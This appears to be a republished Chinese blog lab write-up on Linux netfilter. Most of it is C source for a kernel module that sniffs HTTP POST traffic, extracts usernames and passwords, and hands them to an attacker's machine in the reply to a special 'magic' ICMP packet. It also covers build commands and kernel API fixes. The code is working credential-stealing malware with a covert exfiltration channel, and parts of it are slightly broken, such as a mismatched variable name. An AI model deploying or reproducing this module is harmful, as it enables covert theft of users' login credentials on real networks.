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Netfilter,获取http明文用户名和密码

来源:互联网 收集:自由互联 发布时间:2021-06-16
目录 Netfilter简介 实验-target端 内核模块的操作 初始化netfilter 解析http包,获取用户名和密码 实验-hack端 遇到的问题 @ Netfilter简介 Netfilter是从Linux 2.4开始引入内核的一个子系统,是在网

目录

  • Netfilter简介
  • 实验-target端
    • 内核模块的操作
    • 初始化netfilter
    • 解析http包,获取用户名和密码
  • 实验-hack端
  • 遇到的问题

@

Netfilter简介

Netfilter是从Linux 2.4开始引入内核的一个子系统,是在网络流程的若干位置放置了一些hook(钩子),将数据出来做一些处理(如包过滤,NAT等)后,再回到网络流程。

netfilter和iptables的关系

网络层的hook:
NF_IP_PRE_ROUTING:刚刚进入网络层的数据包
NF_IP_LOCAL_IN:经路由查找后,送往本机,INPUT包过滤
NF_IP_FORWARD:要转发的包,FORWORD包过滤
NF_IP_POST_ROUTING:要通过网络设备发出去的包
NF_IP_LOCAL_OUT:本机发出的包,OUTPUT包过滤

实验-target端

实验环境:ubuntu 18.04 kernel 4.15
源代码:nf_http.c getData.c Makefile

内核模块的操作

  • 头文件 linux/kernel.h linux/module.h
  • 初始化模块(netfilter,见下)
  • 编译得到.ko文件
    LKM的编译和应用层代码使用的gcc不同,它使用Makefile,kbuild。
    obj-m += hello-world.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
    make生成目标文件.ko,可以加载到内核。
  • 加载模块 sudo insmod nf_http.ko
  • 打印10行信息 dmesg | tail
  • 查看内核模块sudo lsmod
  • 卸载模块 sudo rmmod nf_http (注意不用.ko)

完整的LKM编程模块

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>

static int __init init_my_module(void) {
  printk(KERN_INFO "Hello, Kernel!\n");
  return 0;
}

static void __exit exit_my_module(void) {
  printk(KERN_INFO "Bye, Kernel!\n");
}

module_init(init_my_module);
module_exit(exit_my_module);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("TEST");

初始化netfilter

  • 头文件 :
    • linux/netfilter.h
    • linux/netfilter_ipv4.h
  • 钩子点结构体
struct nf_hook_ops {
         struct list_head list;
          /* 此下的值由程序员填充 */
          nf_hookfn *hook;
          int pf;
          int hooknum;
          /* Hook以升序的优先级排序 */
          int priority;
       };
  • PRE_ROUTING 钩子:watch_in() 检查发出去的包
  • POST_ROUTING钩子:watch_out() 检查收到的包
struct nf_hook_ops pre_hook;  
    struct nf_hook_ops post_hook;  
    
    int init_module()
    {
        pre_hook.hook = watch_in;
        pre_hook.pf = PF_INET;
        pre_hook.priority = NF_IP_PRI_FIRST;
        pre_hook.hooknum = NF_INET_PRE_ROUTING;

        post_hook.hook = watch_out;
        post_hook.pf = PF_INET;
        post_hook.priority = NF_IP_PRI_FIRST;
        post_hook.hooknum = NF_INET_POST_ROUTING;

        nf_register_net_hook(&init_net,&pre_hook);
        nf_register_net_hook(&init_net,&post_hook);
        return 0;
    }

## 用netfilter过滤发出去的http包

static unsigned int watch_out(void *priv, struct sk_buff *skb,
    const struct nf_hook_state *state)
    {
        struct sk_buff *sb = skb;
        struct tcphdr *tcp;
        printk("post routing");
        /* Make sure this is a TCP packet first */
        if (ip_hdr(sb)->protocol != IPPROTO_TCP)
            return NF_ACCEPT; /* Nope, not TCP */
        tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));
        /* Now check to see if it's an HTTP packet */
        //发现dest port=80的http包,就调用check_http()
        if (tcp->dest != htons(80))
            return NF_ACCEPT; /* Nope, not FTP */
        /* Parse the HTTP packet for relevant information if we don't already
        * have a username and password pair. */
        if (!have_pair)
        {
            printk("check http");
            check_http(sb);
        }
        /* We are finished with the packet, let it go on its way */
        return NF_ACCEPT;
    }

解析http包,获取用户名和密码

  • 通过网页源码或抓包确定表单提交方式、用户名和密码的变量名
    表单提交有两种提交方式,get和post
    get方式效率高但安全性低,如http://localhost:8080/test.do?name=test&password=123456 ,经常用于搜索,查询
    post是封装后进行提交安全性高,常用与用户注册登陆等。
    提交表单标签:


    参考:https://zhidao.baidu.com/question/178748632260389044.html

  • 通过抓包了解该网页http post的结构,uid和pwd在html部分,该部分处于cookie后面,而cookie中含有uid,但没有pwd,且没有分隔符&
  • 使用字符串匹配,过滤POST HTTP包,找到html中的username、password

static void check_http(struct sk_buff *skb)
{
   struct tcphdr *tcp;
   char *data;
   char *name;
   char *passwd;
   char *_and;
   char *check_html;
   int len,i;

   tcp = tcp_hdr(skb);
   
   data = (unsigned char *)tcp + (unsigned char)(tcp->doff) * 4;
    //check POST
    //cookie中也有uid,但可能没有pwd,且没有&分隔,而提交的HTML数据在cookie的后面,可通过Upgrade-Insecure-Requests定位
   if (strstr(data,"POST /") != NULL && strstr(data,"Upgrade-Insecure-Requests") != NULL 
        && strstr(data, "&uid") != NULL && strstr(data, "&password") != NULL) { 
        checkhtml = strstr(data,"Upgrade-Insecure-Requests");
        printk("find POST html");
        name = strstr(check_html,"&uid=");
        name += 5;
        _and = strstr(name,"&");
        
        len = _and - name;
        if ((username = kmalloc(len + 1, GFP_KERNEL)) == NULL)
          return;
        memset(username, 0x00, len + 1);
        for (i = 0; i < len; ++i)
        {
          *(username + i) = name[i];
        }
        *(username + len) = '\0';

        passwd = strstr(name,"&password=");
        passwd += 10;
        _and = strstr(passwd,"&");
        
        len = _and - passwd;
        if ((password = kmalloc(len + 1, GFP_KERNEL)) == NULL)
          return;
        memset(password, 0x00, len + 1);
        for (i = 0; i < len; ++i)
        {
          *(password + i) = passwd[i];
        }
        *(password + len) = '\0';

   } else {
      printk("it`s not a http post");
      return;
   }

   if (!target_ip)
     target_ip = ip_hdr(skb)->daddr;
   if (!target_port)
     target_port = tcp->source;

   if (username && password)
     have_pair++;              /* Have a pair. Ignore others until
                    * this pair has been read. */
   if (have_pair)
     printk("Have a uid&pwd pair!  U: %s   P: %s\n", username, password);
}

## 用netfilter过滤收到的包

发现特定的icmp包后,修改此数据报的mac、ip、username、pwd,并发送回hack

static unsigned int watch_in(void *priv, struct sk_buff *skb,
    const struct nf_hook_state *state)
    {
        struct sk_buff *sb = skb;
        struct icmphdr *icmp;
        char *cp_data;    /* Where we copy data to in reply */
        unsigned int taddr;   /* Temporary IP holder */
        printk("pre routing");
        /* Do we even have a username/password pair to report yet? */
        if (!have_pair)
            return NF_ACCEPT;
        /* Is this an ICMP packet? */
        if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
        return NF_ACCEPT;
        icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4); //+20 ip头
        /* Is it the MAGIC packet? */
        if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
        || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
        printk("it`s not a MAGIC packet");
        return NF_ACCEPT;
        }
        /* 直接修改接收的buffer, 这种情况只适合局域网内利用目的mac传输,因为没有经过路由*/
        printk("get the MAGIC packet");
        /*交换src dst 的ip*/
        taddr = ip_hdr(sb)->saddr;
        ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
        ip_hdr(sb)->daddr = taddr;
        sb->pkt_type = PACKET_OUTGOING;
        //设置mac
        switch (sb->dev->type) {
        case ARPHRD_PPP:     /* Ntcho iddling needs doing */
        break;
        case ARPHRD_LOOPBACK:
        case ARPHRD_ETHER:
          {
           unsigned char t_hwaddr[ETH_ALEN];

           /*将源MAC设置为目的MAC*/
           sb->data = (unsigned char *)eth_hdr(sb);
           sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
           memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
           memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source),
             ETH_ALEN);
           memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
          break;
          }
        };
        /* Now copy the target IP, then Username, then password into packet */
        /*(char *)icmp 是为了保证指针移动的标准是char* ,64位OS中是8字节*/
        cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
        memcpy(cp_data, &target_ip, 4);
        if (username)
        //memcpy(cp_data + 4, username, 16);
            memcpy(cp_data + 4, username, 16);
        if (password)
            memcpy(cp_data + 20, password, 16);
        /* 发送 buffer*/
        dev_queue_xmit(sb);
        printk("the pair has been send to target");
        /* Now free the saved username and password and reset have_pair */
        kfree(username);
        kfree(password);
        username = password = NULL;
        have_pair = 0;
        target_port = target_ip = 0;
        printk("clear the pair\n");
        /* 不能return NF_DROP,因为dev_queue_xmit将释放缓冲区,
        * Netfilter将尝试对NF_DROPped数据包执行相同操作,导致内核错误。*/
        return NF_STOLEN;
    }

## 清理netfilter

void cleanup_module()
    {
        //struct net *net=NULL;
        nf_unregister_net_hook(&init_net,&post_hook);
        nf_unregister_net_hook(&init_net,&pre_hook);
        if (password)
        kfree(password);
        if (username)
        kfree(username);
        return;
    }

实验-hack端

源代码:getData.c

  • 向target发送特殊的icmp包

    raw socket 编程, 发送icmp数据包 ,保证足够的长度盛放target返回的数据。

    ip头 20字节 icmp头 8字节 icmp数据 4+16+16=36字节

  • 接收和打印target发回的数据

遇到的问题

  1. make error 1:assignment from incompatible pointer type [-Werror=incompatible-pointer-types]
    pre_hook.hook = watch_in;

    自从kernel4.13开始 hook函数的原型就是
    int sample_nf_hookfn(void priv, struct sk_buff skb, const struct nf_hook_state *state);

    而不是

    static unsigned int sample(unsigned int hooknum, struct sk_buff * skb,
    const struct net_device *in, const struct net_device *out,  int (*okfn) (struct sk_buff *))
  2. make error2 :
    nf_register_hook(&pre_hook);
    ^~~~~~~~~~~~~~~~
    nf_register_net_hook

    nf_register_hook在新版内核里面换成了 nf_register_net_hook(struct net net, const struct nf_hook_ops ops);
    可以这样

    #if LINUX_VERSION_CODE >= KERNEL_VERSION(4,13,0) 
     nf_register_net_hook(&init_net, &reg)  //&init_net 可直接使用
     #else 
     nf_register_hook(&reg) 
     #endif

参考 :
https://blog.csdn.net/bw_yyziq/article/details/78290715
https://zhuanlan.zhihu.com/p/61343421
https://zhuanlan.zhihu.com/p/61164326 《UNIX网络编程》

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